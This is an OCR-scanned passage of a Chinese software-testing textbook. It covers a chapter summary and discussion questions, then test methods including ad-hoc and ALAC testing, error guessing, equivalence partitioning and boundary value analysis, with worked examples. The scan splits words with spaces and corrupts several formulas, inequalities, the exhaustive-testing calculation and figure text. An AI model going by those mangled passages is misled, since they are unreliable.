小 结 


软件 测试 是 软件 质量 保证 的 手段 ,软件 测试 基于 两 个 最 基本 的 概念 来 展开 ,这 两 个 基本 概 
念 就 是 质量 和 客户 。 软 件 质 量 就 是 客户 的 满意 度 , 而 测试 就 是 时 时 刻 刻 从 客户 的 角度 出 发 , 验 
证 软件 产品 是 否 满足 客户 的 实际 需求 。 软 件 产品 的 质量 的 不 仅 包含 功能 性 需求 ,而 且 包含 非 
功能 性 需求 ,如 适用 人性、 功能 性 有 效 性 .可 靠 性 和 性 能 等 。 

软件 测试 的 主要 目的 之 一 就 是 尽快 尽早 地 发 现 软件 缺陷 ,而 软件 缺陷 是 由 软件 本 身 、 团 队 
工作 和 技术 问题 等 多 方面 因素 引起 的 ,而 且 集 中 在 需求 分 析 、 系 统 设计 这 两 个 阶段 ,代码 的 错 
误 要 比 需求 分 析 书 、 设 计 规格 说 明 书 所 存在 的 问题 要 少 。 

软件 测试 可 以 根据 测试 的 层次 、 被 测试 对 象 .测试 目标 、 测 试 过 程 等 进行 分 类 ,通过 分 类 可 
以 全 面 地 了 解 测试 的 概貌 和 内 容 。 软 件 测 试 除 了 工程 过 程 之 外 ,还 要 经 历 测试 计划 、 设 计 测 
试 ,执行 测试 .评估 测试 结果 等 类 似 于 项 目的 实施 过 程 。 

在 传统 的 软件 开发 模式 下 ,软件 测试 作为 一 个 团队 存在 ,有 更 多 的 角色 ,如 测试 工程 师 、 自 
动 化 测试 工程 师 ,测试 组 长 ,测试 经 理 等 。 在 敏捷 开发 模式 中 ,可 能 不 存在 测试 团队 ,但 专职 的 
测试 人 员 还 是 存在 的 ,有 些 测 试 角色 的 名 字 可 能 也 需要 变 一 变 , 例 如 ,测试 组 长 可 以 改 为 Test 
Owner 而 存在 下 来 ,而 且 对 专业 的 测试 人 员 的 要 求 没有 变化 ,要 求 测试 人 员 具 有 良好 的 沟通 
能 力 、 技 术 能 力 、 思 考 能 力 , 还 应 具备 良好 的 素质 ,包括 幽默 感 \ 耐 心 、 怀 疑 精 神 、 适 度 的 好 奇 
心 等 。 


思考 题 


. 如 何 看 待 软件 测试 在 保证 软件 产品 质量 中 所 起 的 作用 ? 
.如何 理解 软件 质量 和 软件 缺陷 的 对 立 统一 关系 ? 
.从 修复 软件 缺陷 的 代价 来 讨论 测试 为 什么 要 尽早 开始 。 
.结合 测试 目标 来 分 析 测 试 工作 的 各 项 主要 内 容 。 
.需求 分 析 、 系 统 设计 所 存在 的 问题 在 软件 缺陷 中 占有 较 大 比例 ,对 软件 开发 和 测试 工 
作 有 何 启 发 ? 
6. 通过 与 业界 的 测试 工程 师 交 流 , 了 解 他 们 的 感受 以 及 对 未 来 将 要 从 事 测 试 工作 的 大 学 
生 有 什么 具体 的 建议 。 


cn ho 性 


CHAPTER 3 


第 3 章 


软件 测试 方法 


通过 对 软件 缺陷 的 产生 、 分 类 、 构 成 所 做 的 讨论 ,更 容易 理解 软件 测 
试 的 目的 ,软件 测试 是 为 了 更 快 、 更 早 地 将 软件 产品 或 软件 系统 中 所 存 
在 的 各 种 问题 找 出 来 ,并 促使 系统 分 析 人 员 、 设 计 人 员 和 程序 员 尽 快 地 
解决 这 些 问题 ,最 终 及 时 地 向 客户 提供 高 质量 的 软件 产品 。 要 做 到 这 一 
点 ,确保 在 有 限 的 时 间 内 找 出 系统 中 绝 大 部 分 的 软件 缺陷 ,必须 依赖 有 
效 的 软件 测试 方法 。 在 第 2 章 对 白 盒 测试 和 黑 盒 测试 .静态 测试 和 动态 
测试 .主动 测试 和 被 动 测试 等 了 解 之 后 ,有 必要 了 解 具体 的 软件 测试 方 
法 。 这 些 具体 的 方法 有 助 于 实现 测试 (用 例 ) 的 设计 ,能 更 有 效 地 完成 测 
试 的 执行 ,达到 设 定 的 测试 目标 。 

在 讨论 具体 的 软件 测试 方法 时 ,可 以 从 不 同 层 次 .不同 维度 或 角度 
去 看 。 从 高 层次 看 ,测试 方法 体现 了 方法 论 或 测试 流派 ,是 作为 一 个 方 
法 类 别 出 现 的 ,如 : 

(1) 基于 直觉 和 经 验 的 方法 ; 

(2) 基于 输入 域 的 方法 ; 

(3) 基于 代码 的 方法 ; 

(4) 基于 故障 模式 的 测试 方法 ; 

(5) 基于 模型 的 测试 方法 ; 

(6) 基于 使 用 的 方法 ; 

(7) 基于 需求 验证 或 标准 验证 的 测试 方法 ; 

(8) 基于 逻辑 分 析 的 测试 方法 ; 

(9) 基于 上 下 文 驱动 的 测试 方法 ; 

(10) 基于 风险 的 测试 方法 。 

还 有 一 些 测 试 方法 ,依赖 于 软件 过 程 模 式 、 软 件 开 发 方法 或 应 用 领 
域 ,例如 : 

(1) 面向 对 象 的 软件 采用 面向 对 象 的 测试 方法 ; 

(2) 面向 服务 架构 (Service-Oriented Architecture, SOA ) 会 采用 
SOA 的 测试 方法 ; 

(3) Web 应 用 测试 方法 ; 

(4) 移动 App 应 用 测试 方法 ; 

(5) 针对 嵌入 式 应 用 的 嵌入 式 测 试 方法 (技术 ); 


出 


(6) 敏捷 开发 中 会 采用 更 贴近 敏捷 的 测试 方法 (技术 实践 ) 。 

不 过 ,这 些 特定 应 用 领域 的 测试 方法 ,不 能 算 真 正 的 测试 方法 ,而 是 测试 技术 ,是 前 面 
(1) 一 (10) 那 些 测试 方法 及 其 综合 的 运用 。 而 人 们 经 常 说 的 等 价 类 划分 方法 .边界 值 分 析 方 
法 、 正 交 试验 方法 等 属于 具体 的 ,更 低层 次 的 测试 方法 ,有 特定 的 应 用 场景 。 甚 至 有 些 标准 或 
权威 材料 把 它们 归 为 测试 技术 ,最 终 被 纳入 上 述 (1) 一 (10) 那 些 测试 方法 类 别 之 中 。 


3.1 基于 直觉 和 经 验 的 方法 


基于 直觉 和 经 验 的 测试 方法 ,不 是 严格 意义 上 的 科学 测试 方法 , 带 有 一 定 的 随机 性 ,测试 
结果 不 够 可 靠 ,甚至 可 以 看 作 是 没有 办 法 的 办 法 。 但 是 ,软件 测试 具有 社会 性 ,呈现 一 定 的 不 
确定 性 ,这 时 ,人 的 直觉 和 经 验 又 往往 能 发 挥 很 好 的 作用 。 例 如 ,产品 易 用 性 测试 .用户 体验 的 
检验 ,虽然 有 一 定 的 规律 可 循 、 要 遵守 某 些 原则 ,但 很 难 靠 一 种 明确 的 科学 方法 来 完成 测试 ,而 
是 比较 依赖 于 测试 人 的 直觉 和 经 验 , 如 下 面 要 介绍 的 ad-hoc 测试 方法 ,具有 一 定 的 探索 性 。 
业界 比较 流行 的 “探索 式 测试 (Exploratory Testing)” 被 认为 是 一 种 测试 方式 ,而 不 是 一 种 方 
法 ,因为 在 探索 式 测试 中 可 以 采用 各 种 各 样 的 测试 方法 。 在 SWEBOK 3.0 中 ,错误 猜测 法 被 
归 为 基于 故障 模式 的 测试 方法 ,这 也 是 可 以 的 ,但 更 适合 归 为 基于 直觉 和 经 验 的 测试 方法 。 


3.1.1 Ad-hoc 测试 方法 和 ALAC 测试 


自由 测试 (Ad-hoc Testing) 强 调 测试 人 员 根 据 自己 的 经 验 ,不 受 测试 用 例 的 束缚 , 放 开 思 
路 ,灵活 地 进行 各 种 测试 。 这 里 所 说 的 经 验 , 包 含 下 列 几 个 方面 的 经 验 。 

(1) 软件 开发 (如 系统 设计 编程 等 ) 的 经 验 和 知识 ; 

(2) 与 失效 和 缺陷 打交道 的 经 验 (发 现 和 处 理 缺 陷 的 经 验 和 知识 ); 

(3) 对 被 测 软件 系统 的 经 验 和 知识 ; 

(4) 软件 系统 涉及 的 业务 知识 ; 

(5) 其 他 方面 的 经 验 , 包 括 心 理学 .社会 学 等 。 

自由 测试 可 以 作为 严格 意义 上 的 测试 方法 的 一 种 补充 手段 ,完善 软件 测试 用 例 ,无 拘 无 
束 \ 思 维 活跃 ,能 发 现 一 些 隐藏 比较 深 的 缺陷 ,有 时 可 以 达到 出 人 意料 的 效果 。 有 时 测试 人 员 ， 
在 熟悉 产品 的 新 功能 特性 时 ,也 可 以 进行 有 测试 倾向 的 操作 ,发 现 问 题 ,获得 一 箭 双 雕 的 效果 。 

ALAC, 是 Act-like-a-customer( 像 客户 那样 做 ) 的 简写 ,是 一 种 基于 客户 使 用 产品 的 知识 
开发 出 来 的 测试 方法 , 它 的 出 发 点 是 著名 的 Pareto 80/20 规律 ,用 到 软件 测试 中 ,可 以 概括 为 
以 下 两 条 。 

(1) 即 一 个 软件 产品 或 系统 中 全 部 功能 的 20% 是 常用 的 功能 ,用 户 的 80% 时 间 都 在 使 
这 20% 功 能 ; 而 软件 产品 或 系统 中 剩 下 的 80% 不 是 常用 的 功能 ,用 户 使 用 得 比较 少 ,只 有 
20% 时 间 在 使 用 剩 下 的 80% 功 能 。 

(2) 测试 发 现 的 所 有 错误 的 80% 很 可 能 集中 在 20% 的 程序 模块 中 ,另外 20% 的 错误 很 可 
能 集中 在 80% 的 程序 模块 中 。 

ALAC 测试 就 是 基于 这 样 一 个 思想 ,如 图 3-1 所 示 ,考虑 复杂 的 软件 产品 肯定 存在 许多 错 
误 ,而 测试 的 时 间 是 有 限 的 ,然后 像 客 户 那 样 做 ,对 常用 的 功能 进行 测试 。ALAC 测试 方法 适 
合 一 些 的 特别 场合 ,如 产品 只 是 一 个 演示 版 、 开 发 预算 很 低 . 没 有 足够 时 间 进 行 测试 ,整个 开发 
计划 日 程 表 很 紧 , 其 最 大 的 益处 是 降低 测试 成 本 、 缩 短 测试 时 间 ,缺陷 查找 和 改正 将 针对 那些 


客户 最 容易 遇 到 的 错误 。 从 这 个 角度 看 ,ALAC 测试 和 基于 风险 的 测试 方法 接近 。 


_ _ -显然 更 大 范围 也 存在 缺 
整个 系统 。 一 -一 陆 ， 但 不 是 测试 的 重点 
py” Es 
《20% 最 入 用 的 部 分 -要 


~~~ 有 针对 性 的 测试 ， 
测试 的 重点 


3-1 ALAC 测试 方法 的 原理 示意 图 


3.1.2 错误 推测 法 


有 经 验 的 测试 人 员 往 往 可 以 根据 自己 的 工作 经 验 和 直觉 推测 出 程序 可 能 存在 的 错误 ,从 
而 有 针对 性 地 进行 测试 ,这 就 是 错误 推测 法 。 错 误 推测 法 是 测试 者 根据 经 验 、 知 识 和 直觉 来 发 
现 软件 错误 ,来 推测 程序 中 可 能 存在 的 各 种 错误 ,从 而 有 针对 性 地 进行 测试 。“ 只 可 意 会 ,不 能 
言传 ”, 就 是 表明 这 样 一 个 道理 。 

错误 推测 法 基于 这 样 一 个 思想 一 一 某 处 发 现 了 缺陷 , 则 可 能 会 隐藏 更 多 的 缺陷 。 在 实际 
操作 中 , 列 出 所 有 可 能 出 现 的 错误 和 容易 发 现 错误 的 地 方 , 然 后 依据 测试 者 经 验 做 出 选择 。 


【示例 一 】 上 个 版 本 发 现 的 缺陷 也 许 对 我 们 当前 版 本 测试 有 所 启发 ,进行 类 似 的 探索 
新 测试 ,说 不 准 ,可 以 发 现 一 些 严重 的 缺陷 。 

【示例 二 】 等 价 类 划分 法 和 边界 值 分 析 法 通过 选择 有 代表 性 的 测试 数据 来 暴露 程序 
错误 ,但 不 同类 型 .不同 特点 的 程序 还 存在 其 他 一 些 特殊 的 、 容 易 出 错 的 情况 ,例如 ,一 些 特 
殊 字符 (如 * 只 /\# @$^. | 等 ) 被 输入 到 系统 后 产生 例外 情况 。 有 时 ,将 多 个 边界 值 
组 合 起 来 进行 测试 ,可 能 使 程序 出 错 。 

【示例 三 】 客户 端 在 正常 连接 时 一 般 没 问题 ,可 以 试 试 断 掉 和 连接 ,让 它 重新 连接 看 看 
是 否 出 现 系 统 崩溃 的 问题 ,而 且 可 以 不 断 调整 失去 连接 的 时 间 , 或 者 尝试 不 同 的 连接 次 数 
等 ,以 发 现 一 些 例外 。 

【示例 四 〗 就 程序 中 容易 出 现 的 问题 ,例如 空 指针 、 内 存 没 有 及 时 释放 、session 失效 
或 JavaScript 字符 转 义 等 ,设想 各 种 情况 ,能 否 引起 上 述 问题 的 发 生 , 从 而 设计 出 一 些 特别 
的 测试 用 例 来 发 现 缺陷 。 


错误 推测 法 能 充分 发 挥 人 的 直觉 和 经 验 , 在 一 个 测试 小 组 中 集思广益 ,方便 实用 ,特别 
是 在 软件 测试 基础 较 差 的 情况 下 ,很 好 地 组 织 测试 小 组 进行 错误 猜测 ,是 一 种 有 效 的 测试 
方法 。 但 错误 推测 法 不 是 一 个 系统 的 测试 方法 ,所 以 只 能 用 作 辅 助手 段 , 即 先 用 上 述 方法 
设计 测试 用 例 , 在 没有 别 的 办 法 可 用 情况 下 ,再 采用 错误 推测 法 ,补充 一 些 例子 来 进行 一 些 
额外 的 测试 。 优 点 是 测试 者 能 够 快速 且 容 易 地 切入 ,并 能 够 体会 到 程序 的 易 用 与 否 ; 缺点 
是 难以 知道 测试 的 覆盖 率 , 可 能 丢失 大 量 未 知 的 区 域 ,并 且 这 种 测试 行为 带 有 主观 性 且 难 
以 复制 。 


3.2 基于 输入 域 的 方法 


软件 系统 从 本 质 上 看 ,就 是 对 输入 数据 的 处 理 , 转 化 成 所 期 望 的 结果 ,所 以 通过 数据 的 验 
证 来 验证 系统 的 功能 性 是 很 自然 的 思路 。 从 被 测试 的 对 象 看 ,无 论 是 整个 系统 ,还 是 一 个 模 
块 、 一 个 函数 ,都 有 数据 输入 或 参数 调用 ,通过 对 不 同 数据 的 输入 ,检查 其 输出 的 数据 以 判断 测 
试 是 否 通过 的 方法 ,都 归 为 基于 输入 域 的 方法 。 等 价 类 划分 法 .边界 值 分 析 法 都 是 典型 的 基于 
输入 域 的 方法 ,而 决策 表 、 因 果 图 ,两 两 组 合 正 交 、 正 交 实验 法 等 也 可 归 为 输入 域 验证 方法 ,只 
是 多 变量 组 合 数据 的 测试 ,不 是 单一 变量 数据 的 测试 。 而 在 决策 表 、 因 果 图 等 方法 中 采用 了 表 
格 \ 符 号 等 方式 来 定义 问题 和 分 析 问 题 ,可 以 看 作 是 基于 模型 的 方法 ,但 在 本 教材 中 ,把 决策 
表 、 两 两 组 合 正 交 、 正 交 实 验 法 等 归 为 组 合 方法 ,而 只 把 因果 图 、 功 能 图 等 方法 归 为 基于 模型 的 
方法 。 


3.2.1 等 价 类 划分 法 


数据 测试 是 功能 测试 的 主要 内 容 , 或 者 说 功能 测试 最 主要 的 手段 之 一 就 是 借助 数据 的 输 
和 人 输出 来 判断 功能 能 否 正常 运行 。 在 进行 数据 输入 测试 时 ,如 果 需 要 证 明 数 据 输 入 不 会 引起 
功能 上 的 错误 .或 者 其 输出 结果 在 各 种 输入 条 件 下 都 是 正确 的 ,就 需要 将 可 输入 数据 域内 的 值 
完全 尝试 一 遍 ( 即 穷 举 法 ) ,但 实际 是 不 现实 的 。 

假如 一 个 程序 P 有 输入 量 II 和 I2 及 输出 量 0 ,在 字 长 为 32 位 的 计算 机 上 和 运行。 如果 也 
和 I2 均 取 整数 , 则 测试 数据 的 最 大 可 能 数目 为 : 2”X2”==2%。 

如 果 测 试 程序 P, 采 用 穷 举 法 力图 无 遗漏 地 发 现 程序 中 的 所 有 错误 , 且 假 定 运行 一 组 (I1， 
I2) 数 据 需 lms, 一 天 工作 24h, 一 年 工作 365 天 , 则 2” 组 测试 数据 需 5 亿 年 。 从 而 穷 举 的 黑 盒 
测试 通常 是 不 能 实现 的 。 因 此 只 能 选取 少量 有 代表 性 的 输入 数据 ,以 期 用 较 小 的 测试 代价 暴 
露出 较 多 的 软件 缺陷 。 

为 了 解决 这 个 问题 ,人 们 就 设想 是 否 可 以 用 一 组 有 限 的 数据 去 代表 近似 无 限 的 数据 ,这 就 
是 “等 价 类 划分 ?方法 的 基本 思想 。 等 价 类 划分 法 就 是 解决 如 何 选择 适当 的 数据 子 集 来 代表 整 
个 数据 集 的 问题 ,通过 降低 测试 的 数目 去 实现 “合理 的 "覆盖 ,覆盖 了 更 多 的 可 能 数据 ,以 发 现 
更 多 的 软件 缺陷 。 等 价 类 划分 法 基于 对 输入 或 输出 情况 的 评估 ,然后 划分 成 两 个 或 更 多 子 集 
来 进行 测试 的 一 种 方法 , 即 它 将 所 有 可 能 的 输入 数据 (有 效 的 或 无 效 的 ) 划 分 成 若干 个 等 价 类 ， 
从 每 个 等 价 类 中 选择 一 定 的 代表 值 进行 测试 。 等 价 类 划分 法 是 黑 盒 测试 用 例 设 计 中 一 种 重要 
的 、 常 用 的 设计 方法 ,将 漫 无 边际 的 随机 测试 变 为 具有 针对 性 的 测试 , 极 大 地 提高 了 测试 效率 。 

等 价 类 是 指 某 个 输入 域 的 一 个 特定 的 子 集 合 ,在 该 子 集合 中 各 个 输入 数据 对 于 揭露 程序 
中 的 错误 都 是 等 效 的 。 也 就 是 说 ,如 果 用 这 个 等 价 类 中 的 代表 值 作为 测试 用 例 未 发 现 程序 错 
误 , 那 么 该 类 中 其 他 的 数据 (测试 用 例 ) 也 不 会 发 现 程序 的 错误 。 这 样 , 对 于 表征 该 类 的 某 个 特 
定 的 数据 输入 将 能 代表 整个 子 集合 的 输入 , 即 测试 某 等 价 类 的 代表 值 就 等 效 于 对 于 这 一 类 其 
他 值 的 测试 。 举 个 例子 ,设计 这 样 的 测试 用 例 ,来 实现 一 个 对 所 有 的 实数 进行 开 方 运算 的 程序 
的 测试 ,这 时 候 需要 将 所 有 的 实数 (输入 域 ) 进 行 划分 ,可 以 分 成 正 实数 、 负 实数 和 0, 使 
十 1. 4444 来 代表 正 实数 ,用 一 2. 345 来 代表 负 实 数 ,输入 的 等 价 类 就 可 以 使 用 十 1. 4444， 
一 2.345 和 0 来 表示 。 

在 确定 输入 数据 的 等 价 类 时 , 常 要 分 析 输出 数据 的 等 价 类 ,以 便 根据 输出 数据 的 等 价 类 导 


出 对 应 的 输入 数据 等 价 类 。 这 样 就 在 等 价 类 划分 过 程 中 ,一 般 经 过 两 个 过 程 一 一 分 类 和 抽象 。 

(1) 分 类 ,即将 输入 域 按 照 具 有 相同 特性 或 者 类 似 功能 进行 分 类 。 

(2) 抽象 , 即 在 各 个 子 类 中 去 抽象 出 相同 特性 并 用 实例 来 表征 这 个 特性 。 

等 价 类 划分 法 的 优点 是 基于 相对 较 少 的 测试 用 例 ,就 能 够 进行 完整 覆盖 ,很 大 程度 上 减少 
了 重复 性 ; 缺点 是 缺乏 特殊 用 例 的 考虑 ,同时 需要 深入 的 系统 知识 ,才能 选择 有 效 的 数据 。 

1. 有 效 等 价 类 和 无 效 等 价 类 

在 进行 等 价 类 划分 的 过 程 中 ,不 但 要 考虑 有 效 等 价 类 划分 ,同时 需要 考虑 无 效 的 等 价 类 划 
分 。 有 效 等 价 类 和 无 效 等 价 类 定义 如 下 。 

(1) 有 效 等 价 类 是 指 输入 完全 满足 程序 输入 的 规格 说 明 、 有 意义 的 输入 数据 所 构成 的 集 
合 ,利用 有 效 等 价 类 可 以 检验 程序 是 否 满足 规格 说 明 所 规定 的 功能 和 性 能 。 

(2) 无 效 等 价 类 和 有 效 等 价 类 相反 , 即 不 满足 程序 输入 要 求 或 者 无 效 的 输入 数据 构成 的 
集合 。 使 用 无 效 等 价 类 ,可 以 测试 程序 /系统 的 容错 性 一 一 对 异常 输入 情况 的 处 理 。 

在 程序 设计 中 ,不 但 要 保证 所 有 有 效 的 数据 输入 能 产生 正确 的 输出 ,同时 需要 保障 在 输入 
错误 或 者 空 输入 的 时 候 能 有 异常 保护 ,这 样 的 测试 才能 保证 软件 的 可 靠 性 。 

在 使 用 等 价 类 划分 法 时 ,设计 一 个 测试 用 例 , 使 其 尽 可 能 多 地 覆盖 尚未 被 覆盖 的 有 效 等 价 
类 ,重复 这 个 过 程 ,直至 所 有 的 有 效 等 价 类 都 被 覆盖 , 即 分 割 有 效 等 价 类 直到 最 小 。 对 无 效 等 
价 类 ,进行 同样 的 过 程 ,设计 若干 个 测试 用 例 , 覆 盖 无 效 等 价 类 中 的 各 个 类 。 

2. 不 同情 形 的 处 理 

(1) 在 输入 条 件 规定 了 取 值 范围 或 者 个 数 的 前 提 下 , 则 可 以 确定 一 个 有 效 等 价 类 和 两 个 无 
效 等 价 类 。 例 如 ,程序 输入 条 件 为 满足 小 于 100 大 于 10 的 整数 x, 则 有 效 等 价 类 为 0 二 x 二 100， 
两 个 无 效 等 价 类 为 z+ 二 10 和 xz 二 100。 

(2) 在 输入 条 件 规定 了 输入 值 的 集合 或 者 规定 了 “必须 如 何 ” 的 条 件 下 ,可 以 确定 一 个 有 
效 等 价 类 和 一 个 无 效 等 价 类 。 例 如 ,程序 输入 条 件 为 x=10, 则 有 效 等 价 类 为 zx 一 10 ,无 效 等 
价 类 为 zx 天 10。 

(3) 在 输入 条 件 是 一 个 布尔 量 的 情况 下 ,可 确定 一 个 有 效 等 价 类 和 一 个 无 效 等 价 类 。 例 
如 ,程序 输入 条 件 为 BOOL z=true, 则 有 效 等 价 类 为 z==true, 无 效 等 价 类 为 z+ 二 false。 

(4) 在 规定 了 一 组 输入 数据 (包括 n 个 输入 值 ) ,并且 程序 要 对 每 一 个 输入 值 进行 分 别 进 
行 处 理 的 情况 下 ,可 确定 个 有 效 等 价 类 和 一 个 无 效 等 价 类 。 例 如 ,程序 输入 条 件 为 zx 取 值 于 
一 个 固定 的 枚 举 类 型 1,3,7,10,15}, 则 有 效 等 价 类 为 zxE {1,3,7,10,15} ,而 程序 中 对 这 5 个 
数值 分 别 进行 了 处 理 , 对 于 任何 其 他 的 数值 使 用 默认 处 理 方式 ,此 时 无 效 等 价 类 为 -Ff {1,3， 
7,10,15} 的 集合 。 

(5) 在 规定 了 输入 数据 必须 遵守 的 规则 的 情况 下 ,可 确定 一 个 有 效 等 价 类 和 若干 个 无 效 
等 价 类 。 例 如 ,输入 是 页 面 上 用 户 输入 有 效 E-mail 地 址 的 规则 ,必须 满足 几 个 条 件 ,含有 @， 
@ 后 面 格式 为 x. x, E-mail 地 址 不 带 有 特殊 符号 ”,# ,“,&, 有 效 等 价 类 就 是 满足 所 有 条 件 的 
输入 的 集合 ,无 效 等 价 类 就 是 不 满足 其 中 任何 一 个 条 件 或 者 所 有 条 件 的 输入 的 集合 。 

(6) 在 确定 已 知 的 等 价 类 中 各 元 素 在 程序 处 理 中 的 方式 不 同 的 情况 下 , 则 应 再 将 该 等 价 
类 进一步 划分 为 更 小 的 等 价 类 。 

3. 示例 

有 一 报表 处 理 系 统 , 要 求 用 户 输入 处 理 报表 的 日 期 。 假 设 日 期 限制 在 2000 年 1 月 至 


2020 年 12 月 , 即 系统 只 能 对 该 段 时 期 内 的 报表 进行 处 理 。 如 果 用 户 输入 的 日 期 不 在 这 个 范 
围 内 , 则 显示 错误 信息 。 并 且 此 系统 规定 日 期 由 年 月 的 6 位 数字 组 成 ,前 4 位 代表 年 ,后 两 位 
代表 月 。 则 检查 日 期 时 ,可 用 表 3-1 进行 等 价 类 划分 和 编号 。 


表 3-1 等 价 类 划分 的 一 个 实例 


输入 有 效 等 价 类 无 效 等 价 类 
@ 有 非 数字 字符 
报表 日 期 @ 6 位 数字 字符 @ 少 于 6 个 数字 字符 
@ 多 于 6 个 数字 字符 
i @ 小 于 2000 
年 份 范围 @ 在 2000 一 2020 之 间 @ 大 于 2020 
坚 @@ 等 于 0 
月 份 范围 @ 在 1~12 之 间 @ 大 于 12 


在 进行 功能 测试 时 ,只 要 对 有 效 等 价 类 和 无 效 等 价 类 测试 进行 测试 ,覆盖 、@、@ 三 个 有 
效 等 价 类 测试 ,只 要 用 一 个 值 201006 即 可 ; 对 无 效 等 价 类 的 测试 则 要 分 别 输 入 7 个 非法 数 
据 , 如 200a0b、20102、1012012、198802、203011、200000、202013。 合 起 来 只 要 完成 8 个 数据 的 
输入 就 可 以 了 。 如 果 不 用 等 价 类 划分 法 ,其 测试 的 输入 值 则 高 达 几 百 个 ,可 见 等 价 类 划分 法 提 
高 了 测试 效率 。 


3.2.2 边界 值 分 析 法 


实践 证 明 ,程序 往往 在 输入 输出 的 边界 值 情 况 下 发 生 错误 。 边 界 包 括 输 入 等 价 类 和 输出 
等 价 类 的 大 小 边界 ,检查 边界 情况 的 测试 用 例 是 比较 高 效 的 ,可 以 查 出 更 多 的 错误 。 如 上 面 介 
绍 的 处 理 报表 日 期 的 例子 ,等 价 类 划分 法 就 忽略 了 几 个 边界 条 件 ,如 200001( 边 界 有 效 最 小 
值 )、202012( 边 界 有 效 最 大 值 ) 以 及 边界 无 效 值 199901、199912、202101、202112 等 ,而 程序 往 
往 在 这 些 地 方 容易 出 错 。 这 就 要 求 对 输入 的 条 件 进行 分 析 并 找 出 其 中 的 边界 值 条 件 ,通过 对 
这 些 边界 值 的 测试 来 发 现 更 多 的 错误 。 

边界 值 分 析 法 就 是 在 某 个 输入 输出 变量 范围 的 边界 上 ,验证 系统 功能 是 否 正常 运行 的 测 
试 方法 。 因 为 错误 最 容易 发 生 在 边界 值 附 近 , 所 以 边界 值 分 析 法 对 于 多 变量 函数 的 测试 很 有 
效 , 尤 其 对 于 像 C/C++ 数 据 类 型 要 求 不 是 很 严格 的 语言 更 能 发 挥 作用 。 缺 点 是 对 布尔 值 或 罗 
辑 变量 无 效 ,也 不 能 很 好 地 测试 不 同 的 输入 组 合 。 边 界 值 分 析 法 常 被 看 作 是 等 价 类 划分 法 的 
一 种 补充 ,两 者 结合 起 来 使 用 更 有 效 。 

边界 值 分 析 法 要 取决 于 变量 的 范围 和 范围 的 类 型 ,确认 所 有 输入 的 边界 条 件 或 临界 值 , 然 
后 选择 这 些 边界 条 件 ,临界 值 及 其 附近 的 值 来 进行 相关 功能 的 测试 。 边 界 值 分 析 法 处 理 技巧 
如 下 。 

(1) 如 果 输 入 条 件 规定 了 值 的 范围 , 则 取 刚 刚 达到 这 个 范围 的 边界 值 (如 上 述 200001、 
202012) ,以 及 刚刚 超过 这 个 范围 边界 的 值 (如 上 述 199912、202101); 

(2) 如 果 输 入 条 件 规定 了 值 的 个 数 , 则 用 最 大 个 数 、 最 小 个 数 、 比 最 大 个 数 多 1 个、 比 最 小 
个 数 少 1 个 的 数 等 作为 测试 数据 ; 

(3) 根据 规格 说 明 的 每 一 个 输出 条 件 , 分 别 使 用 以 上 两 个 规则 ; 

(4) 如 果 程 序 的 规格 说 明 给 出 的 输入 域 或 输出 域 是 有 序 集合 (如 有 序 表 、 顺 序 文件 等 ), 则 
应 选取 集合 的 第 一 个 和 最 后 一 个 元 素 作为 测试 数据 。 


在 边界 值 分 析 法 中 ,最 重要 的 工作 是 确定 边界 值 域 。 一 般 情况 下 , 先 确 定 输入 和 输出 的 边 
界 ,然后 根据 边界 条 件 进行 等 价 类 的 划分 。 这 里 给 出 一 个 排序 程序 的 边界 值 分 析 的 例子 ,其 边 


界 条 件 如 下 。 
(1) 排序 序列 为 空 ; 


(2) 排序 序列 仅 有 一 个 数据 ; 


(3) 排序 序列 为 最 长 序列 ; 


(4) 排序 序列 已 经 按 要 求 排 好 序 ; 


(5) 排序 列 的 顺序 与 要 求 的 


顺序 恰好 相反 ; 


(6) 排序 序列 中 的 所 有 数据 全 部 相等 。 

上 面 提 到 的 例子 是 常用 的 数组 边界 检查 时 遇 到 的 。 通 常情 况 下 ,软件 测试 所 包含 的 边界 
检验 有 几 种 类 型 : 数字 字符、 位 置 ,质量 ,大 小 .速度 ,方位 .尺寸 .空间 等 ,而 相应 的 边界 值 假 
定 为 最 大 /最 小 .首位 /末尾 .上 /下 、 最 快 /最 慢 、 最 高 /最 低 、 最 短 / 最 长 . 空 / 满 等 情况 ,这 需要 对 
用 户 的 输入 以 及 被 测 应 用 软件 本 身 的 特性 进行 详细 的 分 析 , 才 能 够 识别 出 特定 的 边界 值 条 件 。 


另外 ,还 需要 选取 正好 等 于 、 刚 网 


大 于 和 刚刚 小 于 边界 值 的 数据 作为 测试 数据 ,如 表 3-2 所 示 。 


表 3-2 边界 值 附 近 的 数据 确定 的 几 种 方法 


项 边界 值 测试 用 例 的 设计 思路 
假设 一 个 文本 输入 区 域 要 求 允许 输入 1 一 255 个 字符 ,输入 1 个 和 
字符 A 255 个 字符 作为 有 效 等 价 类 ; 输入 0 个 和 256 个 字符 作为 无 效 等 价 


个 字符 


类 ,这 几 个 数值 都 属于 边界 条 件 值 


数值 | 开始 位 一 1/ 结 束 位 十 1 


例如 ,数据 的 输入 域 为 1 一 999, 其 最 小 值 为 1 ,而 最 大 值 为 999, 则 0、 
1000 刚好 在 边界 值 附近 


方向 | 刚刚 超过 /刚刚 低 于 


小 于 空余 空间 一 点 /大 于 
满 空间 一 点 


1. 数值 的 边界 值 检验 


例如 ,测试 数据 存储 时 ,使 用 比 最 小 剩余 空间 大 一 点 ( 几 KB) 的 文件 
作为 最 大 值 检验 的 边界 条 件 


计算 机 是 基于 二 进 制 进行 工作 的 ,因此 ,软件 的 任何 数值 运算 都 有 一 定 的 范围 限制 ,如 


表 3-3 所 示 。 
表 3-3 各 类 二 进 制 数 值 的 边界 
项 范围 或 值 
位 (b) 0 或 1 
字 节 (B) 0 一 255 
字 (Word) 0 一 65 535( 单 字 ) 或 0~4 294 967 295( 双 字 ) 
千 (K) 1024 
兆 (M) 1048 576 
吉 (G) 1073 741 824 
太 (T) 1 099 511 627 776 


这 样 ,在 数值 的 边界 值 条 件 检验 中 ,就 可 以 参考 这 个 表 进 行 。 如 对 字 节 进行 检验 ,边界 值 


条 件 可 以 设置 成 254、255 和 256 


2. 字符 的 边界 值 检验 


在 计算 机 软件 中 ,字符 也 是 很 重要 的 表示 元 素 , 其 中 ASCII 和 Unicode 是 常见 的 编码 方 
式 , 表 3-4 列 出 了 一 些 简单 的 ASCII 码 对 应 表 。 
表 3-4 字符 和 ASCII 码 值 的 对 应 关系 
字符 ASCII 码 值 字符 ASCII 码 值 
空 NULL) 0 A 65 
空格 (SPACE) 32 B 66 
斜 杠 (/) 47 Y 89 
0 48 Zz 90 
9 57 左 中 括号 [ 91 
